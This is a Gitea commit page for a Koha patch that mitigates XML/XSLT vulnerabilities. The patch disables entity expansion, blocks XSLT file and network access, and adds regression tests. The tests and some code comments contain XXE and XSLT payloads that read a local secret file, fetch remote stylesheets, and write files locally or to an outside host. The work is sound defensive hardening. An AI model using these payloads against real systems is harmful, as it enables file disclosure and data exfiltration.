gitea
/
Koha-clms
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Bug 23290: [RMaint version] Mitigate XML/XSLT vulnerabilities 

This is a squashed version for backporting to stable branches.
IMPORTANT: It does not move XSLT_Handler to XSLT/Base as in master.

Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>
(cherry picked from commit d8bf40281b)

Signed-off-by: Hayley Mapley <hayleymapley@catalyst.net.nz>
This commit is contained in:
Marcel de Rooy 2020-01-20 09:55:52 +00:00 committed by Hayley Mapley
parent 35205cb39f
commit 610a6cf78b
3 changed files with 324 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

170
Koha/XSLT/Security.pm Normal file
View File

@ -0,0 +1,170 @@
package Koha::XSLT::Security;
# Copyright 2019 Prosentient Systems, Rijksmuseum
#
# This file is part of Koha.
#
# Koha is free software; you can redistribute it and/or modify it under the
# terms of the GNU General Public License as published by the Free Software
# Foundation; either version 3 of the License, or (at your option) any later
# version.
#
# Koha is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with Koha; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
=head1 NAME
Koha::XSLT::Security - Add security features to Koha::XSLT_Handler
=head1 SYNOPSIS
use Koha::XSLT::Security;
my $secu = Koha::XSLT::Security->new;
$secu->register_callbacks;
$secu->set_parser_options($parser);
=head1 DESCRIPTION
This object allows you to apply security options to Koha::XSLT_Handler.
It looks for parser options in koha-conf.xml.
=cut
use Modern::Perl;
use Data::Dumper qw/Dumper/;
use XML::LibXSLT;
use C4::Context;
use base qw(Class::Accessor);
=head1 METHODS
=head2 new
Creates object, checks if koha-conf.xml contains additional configuration
options, and checks if XML::LibXSLT::Security is present.
=cut
sub new {
my ($class) = @_;
my $self = {};
$self->{_options} = {};
my $conf = C4::Context->config('koha_xslt_security');
if( $conf && ref($conf) eq 'HASH' ) {
$self->{_options} = $conf;
}
my $security = eval { XML::LibXSLT::Security->new };
if( $security ) {
$self->{_security_obj} = $security;
} else {
warn "No XML::LibXSLT::Security object: $@"; #TODO Move to about ?
}
return bless $self, $class;
}
=head2 register_callbacks
Register LibXSLT security callbacks
=cut
sub register_callbacks {
my $self = shift;
my $security = $self->{_security_obj};
return if !$security;
$security->register_callback( read_file => sub {
warn "read_file called in XML::LibXSLT";
#i.e. when using the exsl:document() element or document() function (to read a XML file)
my ($tctxt,$value) = @_;
return 0;
});
$security->register_callback( write_file => sub {
warn "write_file called in XML::LibXSLT";
#i.e. when using the exsl:document element (or document() function?) (to write an output file of many possible types)
#e.g.
#<exsl:document href="file:///tmp/breached.txt">
# <xsl:text>breached!</xsl:text>
#</exsl:document>
my ($tctxt,$value) = @_;
return 0;
});
$security->register_callback( read_net => sub {
warn "read_net called in XML::LibXSLT";
#i.e. when using the document() function (to read XML from the network)
#e.g. <xsl:copy-of select="document('http://localhost')" />
my ($tctxt,$value) = @_;
return 0;
});
$security->register_callback( write_net => sub {
warn "write_net called in XML::LibXSLT";
#NOTE: it's unknown how one would invoke this, but covering our bases anyway
my ($tctxt,$value) = @_;
return 0;
});
}
=head2 set_callbacks
my $xslt = XML::LibXSLT->new;
$security->set_callbacks( $xslt );
Apply registered callbacks to a specific xslt instance.
=cut
sub set_callbacks {
my ($self, $xslt) = @_;
my $security = $self->{_security_obj};
return if !$security;
$xslt->security_callbacks( $security );
}
=head2 set_parser_options
$security->set_parser_options($parser);
If koha-conf.xml includes koha_xslt_security options, set them.
We start with implementing expand_entities.
=cut
sub set_parser_options {
my ($self, $parser) = @_;
my $conf = $self->{_options};
if( $conf->{expand_entities_unsafe} ) { # NOT recommended
_set_option($parser, 'expand_entities', 1);
} else {
# If not explicitly set, we should disable expanding for security
_set_option($parser, 'expand_entities', 0);
}
}
sub _set_option {
my ($parser, $option_name, $value) = @_;
if( $parser->option_exists($option_name) ) {
$parser->set_option($option_name, $value);
}
#TODO Should we warn if it does not exist?
}
=head1 AUTHOR
David Cook, Prosentient Systems
Marcel de Rooy, Rijksmuseum Netherlands
=cut
1;

24
Koha/XSLT_Handler.pm
View File

@ -1,6 +1,6 @@
package Koha::XSLT_Handler;
# Copyright 2014 Rijksmuseum
# Copyright 2014, 2019 Rijksmuseum, Prosentient Systems
#
# This file is part of Koha.
#
@ -43,7 +43,7 @@ Koha::XSLT_Handler - Facilitate use of XSLT transformations
=head2 new
Create handler object (via Class::Accessor)
Create handler object
=head2 transform
@ -118,6 +118,7 @@ Koha::XSLT_Handler - Facilitate use of XSLT transformations
use Modern::Perl;
use XML::LibXML;
use XML::LibXSLT;
use Koha::XSLT::Security;
use base qw(Class::Accessor);
@ -132,6 +133,20 @@ use constant XSLTH_ERR_5 => 'XSLTH_ERR_PARSING_DATA';
use constant XSLTH_ERR_6 => 'XSLTH_ERR_TRANSFORMING';
use constant XSLTH_ERR_7 => 'XSLTH_NO_STRING_PASSED';
=head2 new
my $xslt_engine = Koha::XSLT_Handler->new;
=cut
sub new {
my ($class, $params) = @_;
my $self = $class->SUPER::new($params);
$self->{_security} = Koha::XSLT::Security->new;
$self->{_security}->register_callbacks;
return $self;
}
=head2 transform
my $output= $xslt_engine->transform( $xml, $xsltfilename, [$format] );
@ -195,6 +210,7 @@ sub transform {
#parse input and transform
my $parser = XML::LibXML->new();
$self->{_security}->set_parser_options($parser);
my $source = eval { $parser->parse_string($xml) };
if ($@) {
$self->_set_error( XSLTH_ERR_5, $@ );
@ -310,6 +326,7 @@ sub _load {
#load sheet
my $parser = XML::LibXML->new;
$self->{_security}->set_parser_options($parser);
my $style_doc = eval {
$parser->load_xml( $self->_load_xml_args($filename, $code) )
};
@ -320,6 +337,8 @@ sub _load {
#parse sheet
my $xslt = XML::LibXSLT->new;
$self->{_security}->set_callbacks($xslt);
$rv = $code? $digest.$codelen: $filename;
$self->{xslt_hash}->{$rv} = eval { $xslt->parse_stylesheet($style_doc) };
if ($@) {
@ -348,6 +367,7 @@ sub _set_error {
=head1 AUTHOR
Marcel de Rooy, Rijksmuseum Netherlands
David Cook, Prosentient Systems
=cut

132
t/db_dependent/Koha/XSLT/Security.t Normal file
View File

@ -0,0 +1,132 @@
#!/usr/bin/perl
# Copyright 2019 Rijksmuseum
#
# This file is part of Koha.
#
# Koha is free software; you can redistribute it and/or modify it under the
# terms of the GNU General Public License as published by the Free Software
# Foundation; either version 3 of the License, or (at your option) any later
# version.
#
# Koha is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with Koha; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
use Modern::Perl;
use File::Temp qw/tempfile/;
use Test::More tests => 7;
use Test::Warn;
use Koha::XSLT_Handler;
use t::lib::Mocks;
t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 1 } );
my $engine=Koha::XSLT_Handler->new;
my $secret_file = mytempfile('Big secret');
my $xslt=<<"EOT";
<!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
<xsl:variable name="secret">&secret;</xsl:variable>
<xsl:template match="/">
<secret><xsl:value-of select="\$secret"/></secret>
</xsl:template>
</xsl:stylesheet>
EOT
my $xslt_file = mytempfile($xslt);
my $output= $engine->transform( "<ignored/>", $xslt_file );
like($output, qr/Big secret/, 'external entity got through');
t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 0 } );
$engine=Koha::XSLT_Handler->new;
$output= $engine->transform( "<ignored/>", $xslt_file );
unlike($output, qr/Big secret/, 'external entity did not get through');
# Adding a document call to trigger callback for read_file
# Does not depend on expand_entities.
$xslt=<<"EOT";
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
<xsl:template match="/">
<read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file>
</xsl:template>
</xsl:stylesheet>
EOT
$xslt_file = mytempfile($xslt);
warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
[ qr/read_file called in XML::LibXSLT/, qr/runtime error/ ],
'Triggered security callback for read_file';
# Trigger write_file
$xslt=<<"EOT";
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
<xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
<xsl:template match="/">
<exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document>
</xsl:template>
</xsl:stylesheet>
EOT
$xslt_file = mytempfile($xslt);
warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
[ qr/write_file called in XML::LibXSLT/, qr/runtime error/ ],
'Triggered security callback for write_file';
# Trigger read_net
$xslt=<<"EOT";
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
<xsl:template match="/">
<xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" />
</xsl:template>
</xsl:stylesheet>
EOT
$xslt_file = mytempfile($xslt);
warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
[ qr/read_net called in XML::LibXSLT/, qr/runtime error/ ],
'Triggered security callback for read_net';
# Trigger write_net
$xslt=<<"EOT";
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
<xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
<xsl:template match="/">
<exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html">
<xsl:text>Breached!</xsl:text>
</exsl:document>
</xsl:template>
</xsl:stylesheet>
EOT
$xslt_file = mytempfile($xslt);
warnings_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
[ qr/write_net called in XML::LibXSLT/, qr/runtime error/ ],
'Triggered security callback for write_net';
# Check remote import (include should be similar)
# Trusting koha-community.org DNS here ;)
# This should not trigger read_net but fail on the missing import.
$xslt=<<"EOT";
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/>
<xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
<xsl:template match="/"/>
</xsl:stylesheet>
EOT
$xslt_file = mytempfile($xslt);
$engine->print_warns(1);
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
qr/I\/O warning : failed to load external entity/,
'Remote import does not fail on read_net';
sub mytempfile {
my ( $fh, $fn ) = tempfile( SUFFIX => '.xsl', UNLINK => 1 );
print $fh $_[0]//'';
close $fh;
return $fn;
}